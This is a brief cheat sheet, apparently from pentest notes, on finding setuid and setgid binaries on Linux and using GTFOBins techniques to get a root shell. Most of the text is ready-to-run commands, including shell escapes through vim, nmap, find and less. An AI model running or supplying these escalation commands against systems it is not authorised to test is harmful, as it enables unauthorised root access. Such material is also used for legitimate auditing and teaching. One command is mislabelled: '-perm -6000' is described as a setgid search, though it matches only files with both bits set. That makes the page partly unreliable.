speical-permissions
# Find setuid files owned by root
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# Find setgid files owned by root
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
# Find all setuid files (regardless of owner)
find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# Find all setgid files (regardless of owner)
find / -perm -2000 -exec ls -ldb {} \; 2>/dev/null# Example of GTFObins Usage (if vim is setuid and in GTFObins):
vim -c ':!/bin/sh'
# Example of GTFObins Usage (if nmap is setuid and in GTFObins):
nmap --interactive
!sh
# Example of GTFObins Usage (if find is setuid and in GTFObins):
find / -exec /bin/sh -p \; -quit
# Example of GTFObins Usage (if less is setuid and in GTFObins):
less /etc/passwd
!/bin/shUnderstanding setuid and setgid
Privilege Escalation Potential
GTFOBins: A Crucial Resource
Last updated